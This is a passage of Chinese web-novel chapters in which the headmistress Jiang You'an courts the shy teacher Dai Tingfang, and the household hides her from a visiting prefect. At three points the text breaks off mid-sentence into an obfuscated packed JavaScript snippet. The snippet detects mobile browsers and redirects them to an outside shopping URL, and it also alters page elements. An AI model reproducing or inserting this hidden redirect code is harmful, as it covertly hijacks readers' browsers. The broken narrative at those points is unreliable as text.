姜佑安放下书,不经意地回过头,看到戴庭芳正用一种哀伤的眼神看着她,她站起身来,在床边坐下,“你醒了?感觉怎么样?饿不饿?要不要吃点东西?” 经她一提醒,戴庭芳才觉得自己确实饿了,“我好多了,现在是什么时辰了?” “应该快到申时了。”见戴庭芳要起来,姜佑安把他摁了回去,“你先躺着吧,睡了这么久,要不要吃东西?” “要。”戴庭芳顺从地说道。 姜佑安起身出门去,很快端了一碗粥进来,戴庭芳坐起来,把碗接了过去。 “用不要我喂你?”姜佑安笑着问道。 戴庭芳也笑了笑,“不用了,上午给你添了这么多麻烦,我还以为你会冲我生气呢。” “说什么添麻烦,你又不是故意要生病的,别想这些了,尝尝这粥,是小阮特意给你做的,担心你觉得寡淡,她还加了肉丝和青菜。”姜佑安说道。 戴庭芳端起碗来尝了一口,“嗯,味道很好。” “你能吃得下就好,还好不是什么大病。”姜佑安笑着说道。 “你放心,我肯定不会耽误教书的。”戴庭芳说道。 “你这叫什么话?我担心的是你的身子,不是你能不能教书。”姜佑安说道。 戴庭芳低下头,一口一口地喝着粥,四周异常安静,他一抬眼,就见看到姜佑安正笑意吟吟地看着他,忙移开了视线,“今天院子里怎么这么安静?” “能干活的都出去干活了,干不动的活的,我让她们都去园子里玩了,前院里没人,当然安静,戴老师,你还是喜欢这种安静的环境吧。”姜佑安说道。 戴庭芳避而不答,反问道:“今天有什么活要干?” “割稻去了,今天去郭英家,明天去张慈那,附近需要帮忙的,她们都去,算是邻里之间帮帮忙,虽然挣不到什么钱,也能混顿饭吃。”姜佑安说道。 “杨恩和李长风也去了?”戴庭芳问道。 “对,也去了,留在家里,他们也闲不住,都出去了,清静。”姜佑安说道。 “那明天我也去吧,我跟他们一块去干活。”戴庭芳吃完了粥,向姜佑安提议道。 “戴老师。”姜佑安把碗放到了一边,伸手握住了戴庭芳的右手,“你是老师,你有你需要做的事,不用为了这些事这么拼命。” 戴庭芳试了一下收回手,姜佑安不肯放,他的脸又红了起来,“孩子们放假,反正我也没事做。” “农活不是轻松的事,这边的孩子和大人都是做惯了的,合适的人做合适的事,才能事半功倍,你要是去拿镰刀割稻,慢手笨脚的,再伤着自己,惹人笑话。”姜佑安轻轻抚摸着他的手背,冲他笑了笑,“你还是在家里读书写字吧。” “嗯。”戴庭芳低着头,轻声答应道。 姜佑安松开戴庭芳的手,摸了摸他的额头,已经不烫了,“你好好躺着吧,我就在这里陪着你,有事叫我。” “好。”戴庭芳躺下去,心跳的厉害,不敢抬眼看她。 姜佑安起身去把椅子上的书拿起来,把椅子转了个方向,朝着床头坐了,拿起书继续往下读。 戴庭芳看过去,见她正低着头看书,眼睫毛微微颤抖,让他想起送黎泱泱走的时候,她仰头闭着眼晒太阳,阳光照在她脸上,她的睫毛也像现在这样颤动。 察觉到戴庭芳的视线,姜佑安抬起头来,“怎么了?想要喝水吗?” 看着姜佑安的嘴唇,他确实觉得有些渴了,却也不是真的口渴,“我没事了,你忙你的去吧,不用在这里守着我。” “大家都不在,我没什么可忙的,你就想守在这里,看美人入睡。”姜佑安笑着说道。 戴庭芳有些害羞地转过身,嘴角增添了一抹笑意,他面对着墙壁,闭上了眼睛。 “生气了?我开玩笑的,你不想让我看,我不看就是了。”姜佑安说道。 戴庭芳没有说话,姜佑安起身去床边坐了,“你放心睡,我不会趁你病着,占你的便宜的。” “刚才明明还拉着我的手不放。”戴庭芳抓着被子,小声嘟囔着。 刚才确实有占便宜的意思,姜佑安不好反驳,只好解释道:“那是顺便摸摸你退烧没,我又没做别的。” 戴庭芳略微转过头来,“你还想做什么?” 姜佑安俯身凑过去,“你想知道?” 戴庭芳感觉身上又热了起来,脸上也在发烧,不经思考就脱口而出,“想。” 姜佑安有些意外,本来只是想逗逗他,却意外听到了他的真心话,人在生病的时候,果然容易被趁虚而入。 姜佑安扳过他的肩膀,俯身吻在他的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14502098|144104||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 唇上。 那是很轻的一个吻,姜佑安抬起头来,看着他的眼睛,“要我继续吗?戴老师?” “不,不了。”戴庭芳慌张地说道。 看到他的脸明显地红了起来,姜佑安俯身又吻了吻他的脸颊,“快点好起来吧,戴老师,到时候我们再做别的。” “嗯。”戴庭芳点了点头,扯过被子,遮住了脸, 姜佑安笑了笑,下了床,回了椅子上坐着,静静地看着他。 黎泱泱来邀请她去定州同住的时候,姜佑安是有些动心的,黎泱泱的长相和身材,都是她喜欢的,而且黎泱泱也没再提成亲的事,让她觉得两个人相处会轻松许多。 之所以没有答应黎泱泱,除了书院这边离不开她之外,更多的,还是因为戴庭芳。 原本她看待戴庭芳和黎泱泱没什么区别,都是她喜欢的美貌的男人,但在庆丰镇的时候,当戴庭芳不顾一切,用自己瘦弱的身子护在她身前时,她发现自己的情感产生了某种变化。 她不再满足于把戴庭芳留在身边,时时能看到他,她还想拥抱他,亲吻他,最重要的是,她还想让戴庭芳心里有她。 她想知道,戴庭芳是怎么看待她的,只是不讨厌还不够,她想让戴庭芳喜欢她,爱上她,离不开她,但她不知道该怎么做。 没有权利,没有地位,没有金钱,她还能把男人留在自己身边吗?她没有把握。 戴庭芳和他父亲吵架了,现在无处可去,才住进了袁家,万一他之后和他父亲和好了,必然还是要回到戴家去。 怎么才能把他留下呢?戴庭芳在看待男女关系上是个老古板,要是睡了他,他肯定想负起责任来,应该就不会走了,不过,他到时候要是主张该成亲怎么办?她可不想嫁到戴家去。 万一,没睡成,还吓到他了怎么办?现在他病得迷迷糊糊的,是好下手,但是清醒过来之后,可就不好办了,要是他一气之下回了戴家,以后可就再没有机会了。 要是黎泱泱,睡了也就睡了,但面对戴庭芳,还是慢慢来吧,姜佑安起身把书放在椅子上,走了出去。 傍晚,杨恩回来之后接手了对戴庭芳的照顾,姜佑安没有再到房里来,戴庭芳白天睡过之后,晚上久久不能入睡,总想着那一个吻。 姜佑安的嘴唇软软的,触碰到他的嘴唇时,他感觉有些痒痒的,两人过近的距离,让他瞬间忘记了呼吸。 她要是能多停留一会儿就好了,戴庭芳不禁想到,他还想更亲近她一些,想和她待在一起,多感受她的碰触,只要心不会跳得太厉害。 戴庭芳翻了个身,睡了过去,梦里他还躺在这个床上,姜佑安爬了上来,压在他的身上,吻了他。 他激动地抱住了她,姜佑安问他还想做些什么,他说不出来,姜佑安笑着钻进了被子里,解开了他的衣服。 听到杨恩起床穿衣服的声音,戴庭芳睁开了眼睛,回想着昨晚的梦,在梦里,他和姜佑安好像做了很亲密的事,但到底做了什么,他一点也想不起来。 杨恩推门走了出去,戴庭芳从床上坐了起来,他又感觉到了身体的异样,要是姜佑安像梦里一样,主动钻进了他的被子里,他想要做些什么? 戴庭芳正在胡思乱想之际,姜佑安推门走了进来,“戴老师,今天感觉怎么样了?” 110. 拜访 看到姜佑安的脸,戴庭芳赶忙拽过被子遮着身子,“我好多了。” 姜佑安走过去,伸手探了探他的脑门,“嗯,确实是好了,早饭你要跟我们一起吃,还是单独给你送过来?” “我过去吃,不用麻烦你和表妹了,我等会儿就起。”戴庭芳说道。 “好,你慢慢来就行,不用着急。”姜佑安笑了笑,转身出去了。 看她这么干脆利落地走了,戴庭芳感到小小的失落,等他收拾好了去吃饭时,发现姜佑安已经和李长风一起上山砍柴去了,他小小的失落变成了大大的失落。 从昨天到今天,自己一点忙都没帮上,还拖累她一直照顾自己,上不了山,砍不动柴,也不会用镰刀,真是太没用了! 阮荷以为戴庭芳情绪低落是因为生病没有精神,嘱咐他回屋多休息,他本想跟杨恩一起刷碗的,也被杨恩赶了回去。 霍静进了厨房,戴庭芳走出二门,看到小院里邵苏木正坐在椅子上晒太阳,他想到姜佑安也是很爱晒太阳的,于是也搬了椅子出来,在门口晒太阳。 二门外的铃铛响了,戴庭芳站起身来,走过去打开了院门,不远的大路上停着一辆马车,门口站着两个人,其中一个是孔贺。 “孔大人。”戴庭芳行礼拜道:“您到这里来有什么事吗?” 孔贺向戴庭芳介绍道:“这位是定州知州王大人,这几日在泰安县公干,特意过来看看。” 戴庭芳低头行礼,“原来是知州大人,失敬失敬。” “王大人,这位就是女子书院的戴庭芳老师,他也是县里崇正书院戴院长的公子。”孔贺向王世镜介绍道。 “戴家父子俩都投身于民众的教化事业,真是泰安县的福气。”王世镜夸赞道。 戴庭芳神色谦恭,“大人过奖了,崇正书院是仰赖历任知县大人和各位乡绅、富户的捐助才得以建立,女子书院也是多亏了袁娘子种花卖花,才能支撑到现在。” “王大人今日前来,正是要见见姜院长,再找袁娘子买些菊花,她们二位在吗?”孔贺问道。 “现在姜院长和袁娘子都不在,两位大人下午再来吧。”戴庭芳提议道。 “不在?她们去哪儿了?”王世镜问道。 “姜院长去山上砍柴了,袁娘子去县里卖花去了。”戴庭芳说道。 “大人,要不,我们就先回县里吧。”孔贺说道。 王世镜摇了摇头,“已经来了,我们就等一等吧,她们又不是去了别地,砍柴和卖花,中午总要回来的。” “那,戴公子,我和王大人方便进去等吗?”孔贺问道。 戴庭芳本想把他们支走,等姜佑安回来的时候,告诉她王世镜来过,让她找个地方躲起来,没想到他们要在这里等她回来。 孔贺开口要进去等,戴庭芳也不好拒绝,他把两扇门都打开,“方便,两位大人里面请。” 戴庭芳带着王世镜和孔贺进了院子,到了堂屋里,他让两位客人先坐,他去厨房煮水沏茶。 霍静刷完碗回去陪邵苏木去了,厨房里只有杨恩在,听说戴庭芳要给客人泡茶,杨恩把后面的小锅里早上烧的热水舀到大锅里,添了一把火,不过会儿,水就烧开了。 戴庭芳有些焦躁地在厨房里来回踱步,这个王世镜是认识姜佑安的,而且知道她的真实身份,要是他见到姜佑安,要姜佑安跟他回去怎么办? 就算姜佑安不想回去,王世镜是知州,整个定州都在他的控制范围内,他要是把姜佑安在这里的消息告诉了她的家人,那她就很难从定州逃出去了。 怎么办?派人去山里告诉她不要回来?山里那么大,要找一个人可不好找,想办法把王世镜赶走?他可是一州知州,不是那么好糊弄的。 看戴庭芳眉头紧锁,杨恩奇怪地看着他,“戴老师,刚才来的是什么人?你有什么为难的事吗?” “来的是两个官员,一个是孔贺,另一个是知州王世镜大人。”戴庭芳向厨房门外看了看,压低了声音,“王世镜认识姜院长和姜院长的父亲,他要是见到姜院长,事情会变得很麻烦。” “是这样。”杨恩从灶口前站了起来,脸色严肃,“我去山里找她,让她先别回来了。” “去山里不好找,她也不知道会从哪边下山,不如你在门口看着,姜院长要是回来了,你就让她出去躲躲。”戴庭芳说道。 “好,我这就去。”杨恩说着,走出了厨房。 戴庭芳从锅里舀水泡了茶,拎着茶壶去了堂屋,脸上带着微笑,“两位大人久等了,天凉,请喝点儿热茶吧。” 王世镜坐在主位上,接过戴庭芳地过来的茶,喝了一口,放在一旁的桌子上,“戴老师别忙活了,坐下来,和我们一起说说话。” 戴庭芳依言在孔贺的下位坐了,王世镜询问起女子书院的事,戴庭芳便从头讲起,介绍了女子书院建立的艰辛和烦难,还讲了那些被袁家收留的女孩子们。 王世镜听了,对姜佑安和袁竹更加好奇,想要尽快见她们一面,但两人迟迟没有回来,时间接近中午,戴庭芳安排阮荷去做饭,中午要留他们两人在这里吃饭。 杨恩从外面走进来,说知县唐大人有急事请两位大人尽快回县衙,王世镜和孔贺起身要告辞,戴庭芳心里暗暗松了一口气,和杨恩一起送他们出了院门。 王世镜正要上马车,突然想到了什么,转过身来对孔贺说道:“下次不知道什么时候能有空再来,你先把我准备的东西给戴老师吧。” 孔贺从怀里拿出一包银子来,“这是我们捐给女子书院的银子,里面有王大人的一百两,我的五十两,请戴老师转交给姜院长。” 戴庭芳接过银子,作揖行礼,“多谢二位大人,我一定亲手交到戴院长手上。” 抬头的一瞬间,戴庭芳的余光瞥见西边的小路上,姜佑安背着柴火正往这边走来,他赶忙向杨恩使了个眼色。 杨恩往戴庭芳示意的方向看过去,见姜佑安正冲着这边高兴地挥手,他赶忙挪了几步,挡在王世镜旁边,“知县大人催得急,二位大人快上车吧。” 唐佐派来的人站在一旁没有说话,倒是这个袁家人一直在催促他,王世镜虽然觉得奇怪,但也没太在意,他向戴庭芳道了别,踩着凳子上了车。 杨恩转过身去,向姜佑安摆手,让她先别回来。 姜佑安不明白他是什么意思,大喊道:“戴老师,杨恩,家里来客人了吗?” 孔贺正要上车,听到西边传来姜佑安的声音,他回头看 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14505736|144104||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 过去,见杨恩飞快地朝她跑了过去。 “孔大人,王大人在车里等您呢。”戴庭芳提示道。 “劳烦戴老师向姜院长转达我的问候。”孔贺说完上了马车。 王世镜见孔贺上了车,不住地往窗外看,他笑着问道:“怎么了?看来你还不大想走啊。” 孔贺回过来头来,笑了笑,“不是,我看好像是姜院长回来了。” “是吗?”王世镜从窗户探出头向后看,见杨恩和一个背着柴火的人站在小路上,两个人都背对着这边,看不见脸。 王世镜坐了回去,“今天就是见了面,也没空细聊了,不如改天再来吧。” “是。”孔贺向车夫吩咐道:“会县城。” 传话的差役和车夫一起坐在车前,车夫扬鞭,一行人往县城去了。 见王世镜和孔贺走了,戴庭芳也赶忙去迎姜佑安。 姜佑安已经听杨恩说明了事情始末,暗暗觉得心惊,差一点就跟王世镜打了照面,这要是被他撞见,以后就没有安生日子过了。 “今天多谢你们了,戴老师,王世镜有说下次还要过来吗?”姜佑安问道。 “没有,他说不一定什么时候有时间。”戴庭芳说道。 “行,不管他了,以后我回来的时候小心一点就是了。”姜佑安背着柴火往院门走去。 杨恩往后看了看,“长风呢?他怎么没跟你一起回来?” “他摘了柿子要送下来,比我下山得早啊,还没回来?”姜佑安回头看看,又向前看了看,笑着说道:“那不是在那儿吗?他都在门口等着你们了。” 戴庭芳和杨恩看过去,果然看见李长风在院门口站着,衣襟里包着一兜东西。 “你从哪儿下来,他们都没看见你,还以为你丢了呢。”姜佑安扬声说道。 “我刚从东边回来,那边有一棵特别高的柿子树,结的可多了,我又摘了好多柿子。”李长风把衣襟展开,橙黄色的柿子一个叠一个,光滑饱满。 “你又去摘了?高的树不要去爬,小心袁竹知道了,又要训你!”姜佑安说着进了院门。 李长风跟着走了进去,“你别跟她说,她不就不知道嘛。” 姜佑安把柴火卸在厨房门口,笑着说道:“你还是得让袁竹管着点儿,什么时候摔着了,再想上山可就上不去了。” “我知道了,知道了,以后不爬了,行了吧。”李长风赌气说道。 姜佑安在水井旁的水盆里洗了洗手,“行,下不为例,这次我帮你瞒着点儿,你去找个瓦盆把柿子装起来,放进缸里,别让老鼠偷吃了,明天让袁竹买几个苹果回来,也一块放进去。” “嗯,知道了。”李长风气鼓鼓地进了厨房。 “真是孩子气。”杨恩笑着说道。 戴庭芳把孔贺给的银子递给姜佑安,“这是王大人和孔大人捐赠给女子书院的,王大人一百两,孔大人五十两,你看一下。” 姜佑安在身上擦了擦手上的水,高兴地接了过去,“太好了,这回有钱修缮玫瑰田那边的房子了,等房子修好了,我就给戴老师你单独分一个带院子的房子。” 戴庭芳听了这话,没有她想像的高兴,“姜院长,你就这么想让我搬出去吗?” 111. 脸红 “是啊,这里人多,孩子也多,闹腾腾的,我担心你住着不习惯。”姜佑安说道。 “我没有不习惯。”戴庭芳说道。 “既然戴老师不想搬过去,那我搬过去。”姜佑安说道。 戴庭芳听了很是惊讶,还没张开嘴,就被杨恩抢先问了出来,“你要搬过去?为什么?” “冬天穷人不好过,天越来越冷,肯定还有会小孩子被丢到咱们门口,后院快住不下了,我的房间比后院的房间大,可以摆好几张床,我想把我的房间腾出来,给孩子们住,我搬出去住。”姜佑安说道。 “你一个人搬出去,住在山脚下?不行,这太危险了,我跟你一块搬过去。”杨恩说道。 李长风听见了,从厨房里探出头来,“我也跟你一起搬过去。” “我也搬过去。”戴庭芳赶忙说道。 “你们都想搬过去啊?”姜佑安笑了,“戴老师,你不是不想搬吗?” 戴庭芳快速想了个借口,“他们都搬走了,这宅子里就我一个男人,不太方便,我也搬出去吧,前院的房间空出来,也能住人。” 姜佑安点了点头,“也有道理,等房子修缮好了再说吧。” 杨恩把柴火拿去了厨房,李长风把砍刀放回原位,姜佑安拿着银子回屋去了,戴庭芳随她进了堂屋,在椅子上坐着等她出来。 本以为只有黎泱泱一个竞争对手,刚才杨恩和李长风都争着要和她一起搬出去,他才意识到,姜佑安身边还有两个男人,而且都很亲近。 李长风还小,才十四岁,来到这里两年,他长高了不少,已经到戴庭芳的肩膀了,本来就是个孩子,姜佑安对他颇为宠爱,应该是只把他当弟弟看待。 麻烦的是杨恩,姜佑安对他有救命之恩,所以他对姜佑安是言听计从,他平时沉默寡言,只有面对袁家人时,才会露出少有的笑脸。 戴庭芳不知道姜佑安是如何看待杨恩的,但可以肯定的是,她绝不讨厌他,而且,连戴庭芳都不得不承认,杨恩长得很好看,他的脸有一种柔和的美。 姜佑安一向喜欢长得好看的男人,两个人是男未婚女未嫁,姜佑安要是喜欢杨恩,或者两人是互相喜欢,从这里搬出去一起住,谁又能说什么? “戴老师,你过来一下。”戴庭芳正在胡思乱想的时候,听到姜佑安在房间里叫他。 戴庭芳起身走到了房门口,“什么事?” “你进来。”姜佑安说道。 戴庭芳在门口犹豫了一阵,还是没能迈步进去,“姜院长,我就站在门外,有什么事你就说吧。” 姜佑安走过去,伸手抓住他的胳膊,一把将他拽了进去,“怕什么?我又不会吃了你。” 戴庭芳低着头,又想起了那个吻,他不由得紧张起来,“我,我不是怕你。” “昨天是我的错,不该趁你生病,占你的便宜。”姜佑安笑着拉过他的手,把一锭银子放在他手上,“这是给你的补偿。” 戴庭芳皱着眉头抽回手,“我不要补偿,你把我当成什么人了?” 姜佑安探头向前,看着他的眼睛,“这么说,戴老师是心甘情愿的?” 戴庭芳一时慌了,忙说道:“我不知道你在说什么,昨天我生病了,你有做什么吗?我不记得了。” “不记得了?真的?”姜佑安很是怀疑,“我们做了什么,你都不记得了?” 戴庭芳愈加慌了,昨天的勇气都不知道跑到哪里去了,只重复道:“我不记得了。” “戴老师,你的脸怎么红了?又生病了?”姜佑安说着,又凑近了一点。 “没有,我没事。”戴庭芳慌忙向后退了一步。 “我记得,戴老师跟别的女人说话会脸红,跟我说话却从不脸红的,今天是怎么回事?”姜佑安左右看了看,笑着问道:“我这里也没有别的女人啊。” 戴庭芳的脸更红了,他接连后退,一直退到了门边,低着头说道:“你要是没什么事,我就先回去了。” 姜佑安快步追过去,抓住了他的手腕,把那锭银子塞到他手里,“你说不记得了,那就是不记得了,既然你想当做什么都没有发生,我也不会强迫你,这不是什么补偿,是我聘用你在这里教书的束脩,你好好收着。” 戴庭芳点点头,拿着银子,逃也似的冲出了房间。 看他如此胆怯,姜佑安也不想逼得太紧,要是一个不小心,弄得他旧病复发,到时候恐怕连书都教不成了。 姜佑安把王世镜和孔贺捐的银子收起来,记了账,走出堂屋,看到袁竹挑着担子回来了,扁担两头各系着一个大包袱,她赶忙迎上去,帮袁竹卸下了担子。 “买的什么这是?”姜佑安问道。 “棉花。”袁竹抬起胳膊,又袖子擦了擦额头上的汗,“天凉了,还有些孩子没有棉衣穿,得赶紧给她们做上了。” 姜佑安和阮荷各拿了一个大包袱往堂屋走,袁竹在井边洗了把脸,也跟着进了屋。 把棉花拿进袁竹屋里,出来时姜佑安向她说道:“我说你今天怎么回来的这么晚,原来是去忙这个了。” “也不止是这个,我去见龙世蓉了。”袁竹说道。 “见她干什么?又给她送花去了?”姜佑安问道。 袁竹接过阮荷递过来的茶杯,喝了一大口茶水,“不是,我去给她交房租去了。” 姜佑安在一旁的椅子上坐了,“是该交了,时间过得真快,咱们搬过来都快一年了。” “袁姐姐,你的钱还够吗?”阮荷有些担心地问道。 “够。”袁竹把被子放在桌上,坐下来休息,“今年种的花多,赚了不少,自从卖了花瓶簪,所有的花都比以往卖得好了,再加上卖玫瑰花饼的钱,还有囤着的玫瑰花茶等着冬天卖,玫瑰花酱也还有一些,钱的事,你不用担心,安心读书就行了。” “嗯。”阮荷放心地笑了。 李长风把自己摘的一盆柿子拿来给袁竹看,袁竹很高兴,答应明天给他买苹果。 戴庭芳回了房间就没再出来,直到杨恩去叫他过去吃饭,吃完饭,姜佑安又带着李长风上山去了,戴庭芳跟着杨恩,要跟他一起刷碗,又被他从厨房里赶了出来。 下午阮荷用摘回来的山楂做了一锅山楂糖球,出锅之后,小孩子们争相来领,吃了一个又一个,都夸阮荷的手艺好。 有阮荷和霍静哄着孩子们玩 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14515943|144104||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,钟二娘和袁竹在房里一起裁布,做起了冬衣。 杨恩叫戴庭芳出来尝尝山楂糖球,戴庭芳记得姜佑安以前提起过这个,便也去尝尝。 孩子们见戴庭芳出来了,读书的、没读书的,识字的、不识字的,都围在他身边跟他说话。 邵苏木在一旁看了,脸上带着微笑,眼里透着些羡慕的神色。 傍晚姜佑安背着柴火回来了,姜白凤也带着出去割稻的大孩子们回来了,阮荷拿出山楂糖球来犒劳她们,大家都吃得很开心。 张慈和郭英家的稻都收完了,两人都拉了新收的稻子来到袁家,张慈说是来付房子租金,郭英说是给孩子们去割稻的报酬,袁竹没有推辞,都收下了。 陆续又有附近的居民、学生的父母送粮食来,姜佑安都一一收了,记录在册。 不用带着大家出去割稻,姜白凤闲了下来,想跟袁竹一起去卖花,袁竹说菊花的花期马上就过了,每天的花没有那么多,不用两个人一起去。 姜白凤觉得无聊,去找阮荷,阮荷总是在读书,姜白凤也找了书来看,却完全静不下心来,书上的内容一点儿也看不进去。 从阮荷的房间里出来,姜白凤出了二门,看到李长风在打拳,她站在一旁,看了好一阵,李长风停下来之后,她马上走过去,提出要拜他为师,跟他学拳脚功夫。 李长风高兴地收了徒,从此日日打拳都带着姜白凤一起,二门外有些施展不开,两人常在院门外或者园子里打拳练剑,姜白凤的身子都变得结实了许多。 秋收时节过了,杨恩去找了村里人过来修缮房子,女子书院又继续开起来,霍静也去了学堂读书,邵苏木常在学堂外守着,神情有些落寞。 霍静去找了姜佑安,说邵苏木的精神好了不少,问她能不能让邵苏木也进学堂里教书,姜佑安同意了,专门去邵苏木的房间,去跟她说了聘请她当老师的事,还问了她想教什么内容,需要准备什么书。 听说自己能在女子书院里教书,邵苏木非常高兴,浑身笼罩着的落寞气息一下子消失了,整个人都变得精神起来,她询问了戴庭芳教授的内容,然后列出了三本书给姜佑安。 姜佑安拿了笔墨纸砚,送到了邵苏木的房间里,给她们两人用,告诉邵苏木,书明天会买回来,什么时候准备好了,可以教书了,就去告诉她一声。 邵苏木和霍静连声向姜佑安道谢,姜佑安从两人的小院里出来,看到戴庭芳站在门口不远处。 “你要聘请邵老师在女子书院教书?”戴庭芳问道。 “是,我觉得这样做比较好。”姜佑安轻抬下巴,向二门内示意了一下,“去堂屋里说吧。” 戴庭芳跟着姜佑安去了堂屋,两人在椅子上坐了。 “邵老师的状况不是很稳定,一个人的时候总是在发呆,但跟孩子们说话的时候,就比较正常,我觉得让她试着去教书,可能对她比较好。”姜佑安看向戴庭芳,“你是担心她教不好吗?” “不是,她能教出霍静这样优秀的学生,肯定能做好教书的工作,我是担心……”戴庭芳抬头看着姜佑安的眼睛,神色有些难过,“我担心学生们有她教就足够了,这里不再需要我了。” 112. 试探 姜佑安理解了他的担忧,她微笑着说道:“戴老师,你是你,她是她,你们谁也无法取代对方,就算多了一个老师,孩子们也是需要你的。” 戴庭芳低下头,沉默不语。 “戴老师,我也需要你,我希望你不要因为孩子们有了别的老师,就想离开这里。”姜佑安说道。 戴庭芳还是有些不安,“姜院长,你不是在跟我说客套话吧。” 姜佑安站起身,走到了戴庭芳身前,两手摁在他椅子两边的扶手上,低头向他问道:“戴老师,我要怎么才能跟你证明,我说的是真心话?” 过近的距离,让戴庭芳感受到了她说话时吐露的气息,他向后靠在了椅背上,脸色微微发红,低垂着眼帘不敢看她,“我知道了,你说的是真的,不用你证明了。” “戴老师,没有人想让你离开,为了那些学生,你可以留下吗?”姜佑安问道。 “可以。”戴庭芳连忙点头。 “为了我,戴老师可以留下吗?”姜佑安又问道。 戴庭芳的脸上发烧,点头道:“可以。” “我可以吻你吗?”姜佑安接着问道。 “可以。”戴庭芳脱口而出之后,才反应过来姜佑安说的是什么,忙又摇头,“不可以。” 姜佑安微微俯身向前,额头几乎抵在了戴庭芳的额头上,她轻声问道:“为什么不可以?” 戴庭芳用余光暼了一眼门外,小声回答道:“这里会被人看见。” 姜佑安轻轻笑了,“没有人看见就可以了吗?” 戴庭芳心跳快得像要从胸腔里跳出来了一样,他咽了一下口水,嘴唇抖了几下,没能说出话来。 姜佑安往门口的方向挪了挪,遮挡着戴庭芳,快速地在他红红的脸颊上轻啄了一下,然后站起身来,“我不想让戴老师离开,戴老师可以放心了吗?” “嗯。”戴庭芳点了点头,赶紧站起来,快步走了出去。 看着她仓皇而逃的背影,姜佑安抚摸着自己的嘴唇,笑了笑。 本来还担心逼得太紧会把戴庭芳逼走,现在看来,他并不想离开这里,对她的亲近也不是很抗拒,姜佑安总算是放心了。 戴庭芳回到房间,关上了房门,心脏怦怦跳,跳得他不知该如何是好。 他走到书桌前,铺纸研墨,持笔的手微微颤抖,一遍一遍默写着“皮囊盛污秽,九孔常流出,如……”,驱赶心中奇怪的冲动。 写着写着,他把笔一扔,钻进了被子里,在看不见光的地方,捂着自己的脸,回味着姜佑安的吻。 “没有人看见就可以了吗?” 戴庭芳的脑海里一直在重复姜佑安问出的这句话,他想回答可以,却缺乏勇气,他不敢面对姜佑安的眼睛,她那么诚实、坦然,衬托出自己的虚伪和龌龊。 有人看见就什么都不敢承认,没人看见就想要拥抱她、亲吻她,人前人后两个样,还算什么君子?人前尊重她,人后也该尊重她才是。 戴庭芳冷静了下来,掀开被子,从床上坐了起来。 杨恩开门探头进来,“戴老师,你要睡了吗?阮姑娘让我过来叫你去吃饭。” “哦,我这就去。”戴庭芳下了床,走了出去。 饭桌上,戴庭芳只低头吃饭,没有抬头看人,也没跟任何人说话,吃完饭就赶紧回房了。 姜佑安稍稍有点后悔,不过这也是没办法的事,看得到吃不到,多让人焦心,她可不能忍受。 她喜欢戴庭芳,想和他亲近,想要跟他形影不离,这些事他都得慢慢适应才是,这样碰一下、亲一下都不行,什么时候才能躺到一张床上? 即使他觉得害羞,觉得有些难以接受,姜佑安也要继续试探下去,直到他明确地说接受她的那天为止,不,接受了她也不会停止,她还想要做更多。 姜佑安一边吃饭一边盯着戴庭芳看,戴庭芳察觉到她的视线,匆忙吃了饭,红着脸回房去了。 “好好吃你的饭。”袁竹瞪了她一眼,“戴老师教这么多孩子,多辛苦,你还弄得他吃不好饭。” “我干什么了?我不就是在好好吃饭吗?”姜佑安说道。 “干了什么你自己清楚,什么时候戴老师烦得受不了了,回家去,不管你,我看你怎么办。”袁竹说道。 姜佑安笑了笑,胸有成竹地说道:“他不会走的。” “表哥特别喜欢书院的这些学生们,他肯定不会走的。”阮荷也附和道。 “不会走就好,就当我是白操心了吧。”袁竹说道。 “戴老师最近好像有什么心事,总是睡不踏实,昨天半夜我醒的时候,还听见他的叹气,问他怎么了,他也不肯说。”杨恩说道。 “要不,我去问问他?”姜佑安提议道。 “你好好跟他说,他要是不愿意跟你说,你也不要一直缠着问。”袁竹嘱咐道。 姜佑安放下筷子,抱怨道:“知道知道,这一大家子的事,还不够你忙的,什么你都要操心。” “马上就到冬天了,除了做冬衣,我也没什么可忙的,等衣服都做完了,我也得找点别的事干了。”袁竹说道。 “冬天卖水仙和梅花就行了吧,袁姐姐可以歇一歇了。”阮荷笑着说道。 李长风点了点头,“对啊,村民送来那么多粮食,够大家吃了,袁姐姐就歇息歇息吧。” 袁竹的神情不喜不悲,平静地说道:“今年是够吃了,还得想着明年才行,等天冷了,说不定又有多少孩子被丢在门口,咱们得提前做好准备才是。” “我和你想到一块去了,确实是得提前准备着。”姜佑安看向袁竹,“你看买几台织布机回来怎么样?郭英和钟二娘都会织布,可以教教孩子们,闲时织些布,平时做衣裳就不用去买布了,多余的还能换些钱用。” 袁竹点头应道:“我看行,你抽空跟郭英和钟二娘商量一下这事,我明天去县里打听打听哪里能做织机。” “好,那就这么定了,天快黑了,赶紧吃完饭,早点睡吧。”袁竹说道。 